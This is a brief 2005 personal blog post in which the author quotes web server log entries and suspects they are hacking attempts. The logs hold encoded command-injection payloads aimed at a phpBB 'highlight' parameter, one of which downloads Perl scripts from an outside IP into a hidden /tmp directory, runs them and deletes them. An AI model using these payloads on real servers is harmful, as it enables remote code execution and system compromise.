tim's journal

Another hacking attempt?

I saw this strange entry in the logs today:

207.218.248.100 xxxxxx.com - [10/Jan/2005:12:28:57 -0800] "GET /archives/cat_web_design.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp;cd%20.temp;wget%20http://66.90.79.18/.zk/a.txt;wget%20http://66.90.79.18/.zk/ssh.txt;perl%20a.txt;rm%20a.txt;perl%20ssh.txt;rm%20ssh.txt%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; HTTP/1.1" 404 201 "-" "LWP::Simple/5.803"

LWP is a perl library Hmmm, here's some more evil looking GETs

69.20.58.133 xxxxxx.com - [10/Jan/2005:12:28:24 -0800] "GET /viewtopic.php?t=547&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 200 11533 "-" "Mozilla/4.0"

Posted by torque at January 10, 2005 12:30 PM | TrackBack